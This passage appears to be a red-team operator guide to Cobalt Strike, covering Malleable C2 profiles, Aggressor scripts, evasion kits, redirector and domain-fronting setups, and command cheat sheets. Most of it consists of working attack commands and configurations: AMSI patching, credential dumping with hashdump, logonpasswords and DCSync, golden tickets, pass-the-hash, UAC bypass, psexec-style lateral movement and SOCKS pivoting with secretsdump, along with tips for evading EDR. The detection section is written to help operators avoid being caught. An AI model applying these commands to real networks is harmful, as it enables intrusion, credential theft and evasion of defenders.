# Execution method — how to start shellcode after injecting it
execute {
CreateThread; # Use CreateRemoteThread (classic, loudest)
SetThreadContext; # Suspend + SetThreadContext + Resume (quieter)
NtQueueApcThread-s; # APC injection (alertable thread required)
CreateRemoteThread; # Standard WINAPI
RtlCreateUserThread; # Undocumented NT API
}
}
post-ex Block
Controls post-exploitation job behavior (keylogger, screenshot, mimikatz, etc.).
post-ex {
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set obfuscate "true"; # Obfuscate post-ex DLLs in memory
set smartinject "true";
set amsi_disable "true"; # Patch AMSI in fork'd processes (PowerShell jobs)
set keylogger "GetAsyncKeyState"; # Keylogging API
set cleanup "true"; # (4.9+) Clean up post-ex UDRL after load
}
Variants
Variants allow multiple HTTP/HTTPS listeners on the same team server to have different traffic signatures, while using the same profile file.
http-get "variant1" { # Named variant — select it when creating a listener
set uri "/api/v1/data";
# ... custom transforms for this listener
}
http-post "variant1" {
set uri "/api/v1/upload";
# ...
}
c2lint — Profile Validation
Always validate a profile before using it on an engagement.
# Basic syntax check
./c2lint /path/to/profile.profile
# Verbose check — shows what transforms would produce on a sample payload
./c2lint -v /path/to/profile.profile
# c2lint returns 0 on pass, non-zero on error.
# Fix all errors and warnings before loading into teamserver.
Aggressor Script
Aggressor Script (.cna files) extends Cobalt Strike using the Sleep scripting language. It can hook into payload generation, add new Beacon commands (aliases), add GUI menus, automate responses to events, and interact with every team server feature.
# Load scripts via GUI
Cobalt Strike → Script Manager → Load → select your .cna file
# Load at client startup (append to one-liner)
./cobaltstrike & /path/to/startup.cna
# Headless execution
./agscript <host> <port> <user> <password> /path/to/script.cna
Basic Aggressor Script structure:
# Register a new Beacon command alias
alias mycommand {
local('%args $bid');
$bid = $1; # Beacon ID is always first argument
%args = @_;
btask($bid, "Running mycommand"); # Log in team chat
# Execute a Beacon command
bshell($bid, "whoami /all"); # Execute via cmd.exe
bpowerpick($bid, "Get-Process"); # Execute via unmanaged PowerShell
# Execute a BOF
$data = bof_pack($bid, "z", "argument");
beacon_inline_execute($bid, $data, "go", "argument");
}
# Hook into payload generation
set BEACON_RDLL_GENERATE {
# intercept and modify the reflective DLL before it's placed in a payload
}
# Event handlers
on beacon_initial {
local('$bid');
$bid = $1;
btask($bid, "New beacon! Running initial recon...");
bgetuid($bid);
bpwd($bid);
}
Common Aggressor Script built-in functions:
| Function | Description |
|---|---|
bshell($bid, $cmd) |
Run via cmd.exe |
bpowerpick($bid, $cmd) |
Unmanaged PowerShell |
brun($bid, $cmd) |
Run without shell |
bexecute_assembly($bid, $file, $args) |
execute-assembly |
binline_execute($bid, $bof_data, "go", $args) |
Inline BOF execution |
bdownload($bid, $remote_path) |
Download file |
bupload($bid, $local_path) |
Upload file |
bsleep($bid, $ms, $jitter) |
Set sleep |
bspawn($bid, $listener) |
Spawn new session |
bjump($bid, $module, $target, $listener) |
Lateral movement |
bloginpasswords($bid) |
Run logonpasswords |
bhashdump($bid) |
Run hashdump |
Arsenal Kit & Kits Overview
The Arsenal Kit (introduced in CS 4.6) bundles all customization kits into a single buildable package. It consolidates what were previously separate downloads into one.
# Download Arsenal Kit (requires valid license — download from Help → Arsenal in GUI)
# After download:
cd arsenal-kit/
cat arsenal_kit.config # configure which kits to build
./build_arsenal_kit.sh # compile everything
# Output: arsenal_kit.cna + supporting artifacts
# Load the single arsenal_kit.cna in the GUI
# Cobalt Strike → Script Manager → Load → arsenal_kit.cna
Artifact Kit
Replaces the default EXE/DLL templates CS uses when generating payloads. The default templates are signatured by essentially every AV; the Artifact Kit lets you write your own shellcode loaders.
# Configure in arsenal_kit.config
include_artifact_kit="true"
# After build, the artifact kit compiles to:
# dist-artifact/ → custom artifact binaries
# These are automatically picked up by arsenal_kit.cna
Key techniques implemented in the default artifact templates: allocate_and_execute, heap_inject, map_view_of_section. You extend or replace these to implement your own shellcode execution technique.
UDRL & UDRL-VS
User-Defined Reflective Loader — replaces Cobalt Strike's built-in reflective DLL loader. The UDRL controls exactly how Beacon is loaded into memory: memory allocation strategy, PE header stomping, import resolution, and obfuscation on load.
include_udrl_kit="true" # in arsenal_kit.config
# UDRL-VS: Visual Studio project templates for UDRL development
# Hooks: BEACON_RDLL_GENERATE (for Beacon payloads)
# POSTEX_RDLL_GENERATE (for post-ex DLLs, new in 4.9)
The UDRL is where most advanced evasion research lives — bypassing hooks, implementing custom PE loading, integrating sleep obfuscation directly into the loader.
Sleepmask Kit
Controls how Beacon obfuscates itself in memory while sleeping. Between check-ins, Sleepmask XOR-encodes Beacon's memory (heap + image), sleeps, then decodes and continues. This defeats memory scanners that scan sleeping processes.
include_sleepmask_kit="true"
# Requires: set sleep_mask "true"; in profile's stage block
# Sleepmask-VS: same as UDRL-VS — Visual Studio templates for custom Sleepmask BOFs
Default implementations: timer-based, WaitForSingleObjectEx-based. Community variants implement Ekko, Foliage, Gargoyle for more advanced sleep obfuscation.
Resource Kit
Replaces the HTA, PowerShell, Python, VBA, and VBS script templates that CS uses in its attack workflows. Useful for customizing these scripts to bypass AMSI or string detections.
include_resource_kit="true"
Process Inject Kit
Replaces the default process injection logic with a custom BOF implementation. Lets you choose exactly which Win32/NT APIs Beacon uses for memory allocation and thread execution.
include_process_inject_kit="true"
Postex Kit
Allows writing custom post-exploitation DLLs and integrating them into Beacon's job architecture. Use for building novel post-ex capabilities that use the Fork & Run model with full control over the DLL loaded and the UDRL that loads it.
Mimikatz Kit
Updates the Mimikatz binary embedded in Cobalt Strike. Useful to swap in a more recent Mimikatz build or a patched version that bypasses current AV signatures.
BOF-VS
Visual Studio project templates for Beacon Object File development. Includes DFR (Dynamic Function Resolution) helpers, a BOF test harness (run BOFs without spawning a Beacon), and unit test support. Moved to the public Cobalt-Strike GitHub in CS 4.9.
Beacon Object Files (BOFs)
BOFs are small compiled C (COFF object files) programs that execute directly inside Beacon's memory, in the calling thread, without spawning a new process. They're how Cobalt Strike implements most of its newer built-in capabilities and how the community extends it.
# Run a BOF from the Beacon console
inline-execute /path/to/bof.o [args]
# BOF packing (from Aggressor Script — typed args)
# "b" = binary blob, "z" = zero-terminated string, "i" = 32-bit int, "s" = 16-bit short
$data = bof_pack($bid, "zi", "hostname", 80);
# Run a BOF in-process via Aggressor Script
beacon_inline_execute($bid, $data, "go", $args);
BOF limitations:
- No long-running blocking operations — Beacon is unresponsive while the BOF runs
- No standard library (CRT) — you use Win32 APIs directly, resolved via Cobalt Strike's API resolver
- Default memory is RWX — configure
sleepmaskandprocess-injectblocks to address this - Crashes in a BOF crash the Beacon — test thoroughly with BOF-VS's test harness before deploying
Community BOF sources worth knowing:
| Source | Content |
|---|---|
| TrustedSec's CS-Situational-Awareness-BOF | Recon BOFs using direct syscalls |
| OutflankNL's CS-Remote-Ops-BOF | Remote operation BOFs |
| EspressoCake's BOF collection | Lateral movement BOFs |
| Cobalt-Strike/cobaltstrike-tooling (GitHub) | Official example BOFs |
Multiplayer & Team Operations
Multiple operators can connect to the same team server simultaneously. All sessions, credentials, and loot are shared.
# Operator 1 connects:
./cobaltstrike → host: teamserver_IP, port: 50050, user: "op1", password: "..."
# Operator 2 connects (same server, different alias):
./cobaltstrike → host: teamserver_IP, port: 50050, user: "op2", password: "..."
Team features:
View → Event Log # Shared team chat and event log (every action logged here)
View → Credentials # Shared credential store (all operators see each other's dumps)
View → Downloads # Files downloaded from Beacons
View → Keystrokes # Keylogger output
View → Screenshots # Screenshot captures
View → Targets # Shared host/network map
# Team chat (in the Event Log console)
say <message> # Send a message to all operators
All Beacon commands are tagged with the operator alias that issued them in the event log. This creates a natural audit trail for the engagement report. Operators can task each other's Beacons — coordination via the Event Log is essential in multi-operator engagements.
Infrastructure — Redirectors & OPSEC
Never expose the team server directly to the internet. Use one or more redirectors.
Apache mod_rewrite Redirector
# /etc/apache2/sites-enabled/cs-redirector.conf
<VirtualHost *:443>
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/example.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem
# Only proxy requests with the right URI pattern
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(search|collect|api/v1)
RewriteRule ^/(.*)$ https://TEAMSERVER_IP:443/$1 [P,L]
# Block everything else (return decoy content or 404)
RewriteRule ^/(.*)$ https://decoy.com/$1 [P,L]
</VirtualHost>
Nginx Redirector
server {
listen 443 ssl;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
location ~* ^/(search|collect) {
proxy_pass https://TEAMSERVER_IP;
proxy_ssl_verify off;
}
location / {
return 404;
}
}
socat DNS Redirector
# On the redirector — forward DNS UDP to team server
socat udp4-listen:53,reuseaddr,fork UDP:TEAMSERVER_IP:53
# Or via SSH tunnel (more stable)
# On team server:
ssh user@redirector -R 5353:127.0.0.1:53
# On redirector:
socat udp4-listen:53,reuseaddr,fork tcp:localhost:5353
Domain Fronting
Route Beacon traffic through a major CDN (Cloudflare, Azure CDN, AWS CloudFront) so the SNI/certificate points to the CDN and only the HTTP Host header reveals the real endpoint — often invisible to network inspectors that can't decrypt TLS.
In the Malleable C2 profile:
http-get {
client {
header "Host" "yourorg.azureedge.net"; # CDN hostname (fronting domain)
}
}
# In the listener:
# HTTP Hosts: cdn.microsoft.com (or any CDN domain that fronts your endpoint)
# Actual routing: CDN → your real server via CDN's backend routing
Note: Major CDNs have increasingly cracked down on domain fronting. Availability varies by CDN and account type. Azure banned it; Cloudflare requires paid plans and SNI matching.
OPSEC Considerations Per Command
| Command | Mechanism | Process Spawn? | Key Event IDs | OPSEC Rating |
|---|---|---|---|---|
getuid |
Win32 API | No | None | ✅ Safe |
ps |
Win32 API | No | None | ✅ Safe |
ls |
Win32 API | No | None | ✅ Safe |
shell |
cmd.exe child | Yes — cmd.exe | 4688 (cmd.exe + your cmd) | ❌ Noisy |
powershell |
powershell.exe child | Yes — powershell.exe | 4688, Script Block Log | ❌ Noisy |
powerpick |
Unmanaged runspace | No | Script Block Log | ⚠️ Moderate |
execute-assembly |
Fork & Run (spawnto) | Yes — spawnto | 4688 (spawnto) | ⚠️ Moderate |
inline-execute (BOF) |
In-process | No | None (usually) | ✅ Best |
hashdump |
Mimikatz (F&R) | Yes — spawnto→LSASS | 10 (LSASS access) | ❌ Loud |
logonpasswords |
Mimikatz (F&R) | Yes + LSASS read | 10, AV alert likely | ❌ Very loud |
dcsync |
DRSUAPI RPC | No (network only) | 4662 (DC-side) | ⚠️ Moderate |
make_token |
Win32 LogonUser | No | 4624 type 9 | ⚠️ Moderate |
steal_token |
OpenProcessToken | No | None (usually) | ✅ Safe |
pth |
Mimikatz (F&R) | Yes | 4624 type 9 | ⚠️ Moderate |
getsystem |
Service+pipe | Yes — service | 4697, 7045 | ❌ Loud |
jump psexec |
Service creation + EXE | Yes — service + EXE | 7045, 4697, 5140 | ❌ Loudest |
jump winrm |
WinRM | No new process | 4624 type 3 | ✅ Quieter |
jump wmi |
WMI Win32_Process | Yes — spawns process | 4688, WMI-Activity | ⚠️ Moderate |
socks |
Beacon proxy | No | None | ✅ Safe |
inject |
WriteProcessMemory | No (injects existing) | 8 (RTP inject), 10 | ⚠️ Moderate |
keylogger |
Fork & Run | Yes — spawnto | 4688 | ⚠️ Moderate |
screenshot |
Fork & Run | Yes — spawnto | 4688 | ⚠️ Moderate |
Golden rule: If a command spawns cmd.exe or powershell.exe, it will appear as a child process of your Beacon process. That parent→child relationship (especially
dllhost.exe → cmd.exeorsvchost.exe → powershell.exe) is one of the most-detected behavioral patterns in modern EDR.
Detection Notes (Blue Team Awareness)
Understanding how defenders detect Cobalt Strike makes you a better operator. It also makes you think carefully about profile customization.
Network Layer
- Default profile fingerprinting — unmodified Beacon HTTP traffic has known URI patterns, header ordering, response body formats, and cookie structures. Tools like JA3 fingerprinting, Zeek, and purpose-built YARA/Suricata rules can identify Cobalt Strike with default profiles from a packet capture with high confidence.
- JARM fingerprinting — the team server's TLS fingerprint (JARM hash) is known for default certificate configurations. Internet-wide scanning tools (like Shodan) have indexed exposed team servers using this.
- Default ports — port 50050 (operator channel), 80/443 (HTTP/HTTPS listener defaults). Always change these.
- Beaconing pattern — even with jitter, the regular period of check-ins over time is statistically detectable via baselining. Longer sleep intervals reduce visibility but don't eliminate it.
- DNS C2 — high volume of unique subdomain queries under a single parent domain, with a consistent query rate matching the sleep interval.
Host / Behavioral Layer
- Fork & Run pattern — spawning a temporary process (usually
rundll32.exeby default → change it), injecting a reflective DLL with RWX memory, then killing the process is one of the most-detected behavioral patterns in modern EDR. - LSASS access —
hashdumpandlogonpasswordsboth access LSASS; Sysmon Event ID 10 fires for cross-process LSASS reads and triggers in most mature AV/EDR stacks. - GetSystem — creating a service (Event ID 7045) that then impersonates a named pipe is a well-documented detection path in Sysmon and Windows Defender.
- Service creation for lateral movement —
jump psexeccreates a service, copies an EXE to ADMIN$, starts it, and optionally deletes it. Event IDs 7045 and 4697 are heavily monitored. - SMB Beacon named pipe — default pipe names (
msagent_*,MSSE-*) are signatured. Customizepipenamein the profile. execute-assembly/ .NET — loading an unmanaged CLR into a process that shouldn't have one (likedllhost.exe) is detectable by EDR that monitors CLR loads.- Sleepmask evasion — mature memory scanners now look for the XOR key and decryption stub, not just the Beacon pattern itself.
Infrastructure
- Team server exposure — port 50050 accessible from the internet (even with a valid password) is flagged by several threat intel feeds. Always firewall it.
- Certificate self-signed or default — CS issues a self-signed cert for the operator channel by default. Use a proper CA-signed cert.
- Stager request pattern — staged Beacons make a distinct second HTTP request to retrieve the stage; stageless Beacons don't. Use stageless in production.
Common Attack Workflows
Workflow: Initial Access → Stable Beacon → Recon
# 1. Start the team server
sudo ./teamserver 203.0.113.10 "S3cur3P@ss" /opt/profiles/jquery-c2.profile
# 2. Connect the client and set up a listener
# Attacks → Listeners → Add → HTTPS → domain: redir.example.com, port: 443
# 3. Generate a stageless payload
# Attacks → Packages → Windows Executable (S) → select listener → output to /tmp/payload.exe
# 4. Deliver to target (phishing, exploit, supply chain — engagement specific)
# 5. Once Beacon checks in — initial recon
beacon> sleep 30 20 # slow down first
beacon> getuid # who am I?
beacon> getprivs # what privileges?
beacon> ps # what's running? (spot EDR, find targets)
beacon> ipconfig # what network am I on?
beacon> net dclist # where are the DCs?
beacon> net domain # domain name
# 6. Set PPID spoofing before doing anything noisier
beacon> ppid <PID_of_explorer.exe>
beacon> spawnto x64 %windir%\sysnative\dllhost.exe
Workflow: Credential Access → Lateral Movement to DC
# Assume: Beacon running as local admin (from step above)
# Option A: DCSync (quieter — network-based, no LSASS touch on the workstation)
# Requires domain admin or privileges to replicate
beacon> make_token CORP\DomainAdmin Password1 # get a domain admin token first
beacon> dcsync CORP.LOCAL CORP\krbtgt # replicate krbtgt hash from DC
# Option B: hashdump (local SAM only — admin required)
beacon> hashdump
# Option C: logonpasswords (LSASS — loudest)
beacon> logonpasswords
# Lateral move to DC using domain admin token
beacon> make_token CORP\Administrator <NTLM_or_password>
beacon> jump winrm64 DC01.corp.local smb_listener
# → new Beacon on DC01 via SMB named pipe, linked through current Beacon
Workflow: SMB Beacon Pivot Chain (Segmented Network)
# Topology: Internet → redirector → TeamServer
# TeamServer ← HTTPS ← HOST_A (perimeter, egress)
# HOST_A ← SMB ← HOST_B (internal, no egress)
# HOST_B ← SMB ← HOST_C (deep internal)
# Step 1: On HOST_A, generate an SMB Beacon payload for HOST_B
# Attacks → Packages → Windows Executable (S) → listener: smb_internal → save smb_b.exe
beacon_a> upload /tmp/smb_b.exe
beacon_a> shell copy smb_b.exe \\HOST_B\C$\Windows\Temp\smb_b.exe
beacon_a> shell sc \\HOST_B create "WindowsUpdate" binPath= "C:\Windows\Temp\smb_b.exe" start= auto
beacon_a> shell sc \\HOST_B start "WindowsUpdate"
# CS auto-links if using jump psexec:
beacon_a> jump psexec64 HOST_B smb_internal
# → linked Beacon on HOST_B appears in session table
# Step 2: From HOST_B, pivot deeper to HOST_C
beacon_b> jump psexec64 HOST_C smb_internal
# → HOST_C is now accessible, traffic flows HOST_C → HOST_B → HOST_A → redirector → teamserver
# Pivot Graph view:
# Cobalt Strike → Visualization → Pivot Graph
Workflow: SOCKS Proxy for Internal Tooling
# Start SOCKS on a Beacon session
beacon> socks 1080
# Configure proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf
# Run your tools through it
proxychains nmap -sT -Pn -p 22,80,135,139,389,443,445,1433,3389,5985 192.168.10.0/24
proxychains crackmapexec smb 192.168.10.0/24 --shares
proxychains impacket-secretsdump CORP/admin:'password'@192.168.10.5 -just-dc-ntlm
proxychains bloodhound-python -u admin -p password -d corp.local -dc DC01.corp.local \
-c All --zip
Cheatsheet
Team Server
sudo ./teamserver <ext_IP> <password>
sudo ./teamserver <ext_IP> <password> /opt/profiles/profile.profile
sudo ./teamserver <ext_IP> <password> /opt/profiles/profile.profile 2025-12-31
./c2lint /opt/profiles/profile.profile # validate profile
./agscript <host> 50050 <user> <pass> script.cna # headless aggressor
Client Connection
./cobaltstrike
# → host: 127.0.0.1 (via SSH tunnel), port: 50050, user: alias, pass: <teamserver_pass>
Listener Setup (GUI)
Cobalt Strike → Listeners → Add
Payload: windows/beacon_https/reverse_https
HTTP Hosts: redir.example.com
HTTP Port: 443
Payload Generation (GUI)
Attacks → Packages → Windows Executable (S) # stageless EXE
Attacks → Packages → Windows Shellcode (S) # stageless shellcode
Attacks → Web Drive-by → Scripted Web Delivery # PowerShell one-liner
Beacon Initial Setup
sleep 60 20 # 60s ± 20% jitter
ppid <explorer_PID> # PPID spoofing
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe
blockdlls start # block non-MS DLLs from fork'd processes
Recon (OPSEC-safe)
getuid
getprivs
ps
ls
pwd
drives
ipconfig
arp
net dclist
net domain
net localgroup administrators
Credential Access
hashdump # local SAM hashes
logonpasswords # LSASS dump (noisy)
dcsync CORP.LOCAL CORP\krbtgt # DCSync (quiet)
dcsync CORP.LOCAL CORP\Administrator
mimikatz lsadump::dcsync /user:krbtgt /domain:corp.local
Token Manipulation
make_token CORP\user password # network-only token
steal_token <PID> # impersonate a running process
rev2self # revert token
pth CORP\user <NTLM_hash> # pass-the-hash
Kerberos
kerberos_ticket_use /path/to/admin.kirbi
kerberos_ccache_use /path/to/ticket.ccache
kerberos_ticket_purge
mimikatz kerberos::golden /user:Administrator /domain:corp.local \
/sid:<SID> /krbtgt:<hash> /id:500
Privilege Escalation
getsystem # all GetSystem techniques
elevate uac-rpc-dom <listener> # UAC bypass (spawn new session)
runasadmin uac-rpc-dom <command> # UAC bypass (run command)
Lateral Movement
# Set token first
make_token CORP\user password
# Jump (deploys + auto-links)
jump winrm64 TARGET listener # quietest
jump wmi TARGET listener # moderate
jump psexec64 TARGET listener # loudest
jump psexec_psh TARGET listener # no EXE drop
# Remote exec (no new session)
remote-exec winrm TARGET "command"
remote-exec wmi TARGET "command"
Pivoting (Peer-to-Peer)
link TARGET # SMB Beacon
link TARGET \\.\pipe\custom_pipe # SMB with named pipe
connect TARGET <port> # TCP Beacon
unlink TARGET <beacon_PID> # disconnect (doesn't kill)
SOCKS & Port Forwarding
socks 1080 # SOCKS4a
socks 1080 socks5 # SOCKS5
socks stop
rportfwd <bind_port> <fwd_host> <fwd_port>
rportfwd stop <bind_port>
Execution One-Liners
# Best to worst OPSEC:
inline-execute bof.o [args] # in-process, no spawn
powerpick Get-Process # no powershell.exe spawn
run net user # no shell
shell whoami # cmd.exe (avoid)
powershell Invoke-Mimikatz # powershell.exe (avoid)
BOF Execution
# From console
inline-execute /path/to/bof.o [args]
# Popular BOF tooling (install separately)
# TrustedSec SA-BOF, OutflankNL CS-Remote-Ops-BOF
Useful Post-Exploitation One-Liners
shell tasklist /v
shell net user /domain
shell net group "Domain Admins" /domain
shell net group "Domain Controllers" /domain
shell wmic os get caption,version
shell wmic product get name,version
shell wmic process list brief
shell netstat -anop TCP
shell cmdkey /list # cached credentials
shell reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
shell dir C:\Users\ /b # list user profiles
powerpick Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,Enabled
powerpick Get-ADComputer -Filter * | Select Name,DNSHostName
References
- Official Docs: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/
- Fortra Product Page: https://www.cobaltstrike.com
- Malleable C2 Reference: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm
- ThreatExpress Malleable C2 Design Guide: https://github.com/threatexpress/malleable-c2
- Cobalt Strike Blog — Raffi's Abridged Guide: https://www.cobaltstrike.com/blog/raffis-abridged-guide-to-cobalt-strike
- OPSEC Considerations for Beacon Commands: https://www.cobaltstrike.com/blog/opsec-considerations-for-beacon-commands
- Arsenal Kit Docs: https://www.cobaltstrike.com/product/features/arsenal-kit
- Malleable C2 Profiles Repo (rsmudge): https://github.com/rsmudge/Malleable-C2-Profiles
- TrustedSec CS Situational Awareness BOFs: https://github.com/trustedsec/CS-Situational-Awareness-BOF
- DFIR Report — CS Defender's Guide: https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
- Cobalt-Strike GitHub Org: https://github.com/Cobalt-Strike
- Community Kit: https://cobalt-strike.github.io/community_kit/
Common Operational Mistakes
-
Using default profile settings — unmodified pipe names (
msagent_*), default URIs, and defaultspawnto(rundll32.exe) are all signatured by mainstream EDR. Customize the Malleable C2 profile before connecting any Beacon. -
Using
shellandpowershellwhen native commands exist —shell whoamispawnscmd.exe → whoami.exe, two new processes.getuidmakes a Win32 API call in-process. Same information, drastically different OPSEC footprint. -
Leaving
sleeptimeat 0 (interactive) — constant check-ins produce a distinctive, noisy traffic pattern. Set a realistic sleep interval even during active work. -
Exposing the team server's port 50050 — this port (and the team server's real IP) should never be reachable from the internet. Tunnel operator access via SSH.
-
Forgetting to set PPID before spawning processes — all Fork & Run operations inherit Beacon's parent relationship.
dllhost.exe → cmd.exeis immediately suspicious; set PPID to a plausible parent likeexplorer.exeorsvchost.exefirst. -
Using staged payloads in production — staged payloads make a second HTTP request to retrieve the full Beacon, creating an additional IOC. Use stageless (
(S)) payloads in real engagements. -
Not validating the profile with c2lint — a profile with syntax errors crashes the team server or causes Beacon to fail to check in. Always run
./c2lintbefore loading a new profile. -
Forgetting that
jumpmodules require a token first —jumpcommands don't accept credentials as arguments; they use whatever token Beacon currently holds. Usemake_tokenorsteal_tokenbefore runningjump. -
Confusing SOCKS proxy (for your tools) with pivoting (for Beacon) —
socks 1080routes your attacker tooling through the Beacon. SMB/TCP Beacons route C2 traffic through a parent Beacon. These are different mechanisms with different use cases. -
Not removing persistence, artifacts, and Beacons at the end of an engagement — the team server's Event Log tracks exactly what was deployed where. Walk through it systematically during cleanup. Cobalt Strike has no automated cleanup function — this is a manual discipline.
-
Sharing the same listener/profile across engagements — Beacon's callback address and profile signature are baked in at generation time. Reusing infrastructure links engagements together in threat intel databases.
-
Running
logonpasswordsbefore checking EDR status —logonpasswordsreaches into LSASS and will trigger most well-tuned EDR solutions. Checkpsoutput for security products first, and consider alternatives (DCSync if you have domain admin; BOF-based LSASS readers with direct syscalls) before falling back to the default Mimikatz injection.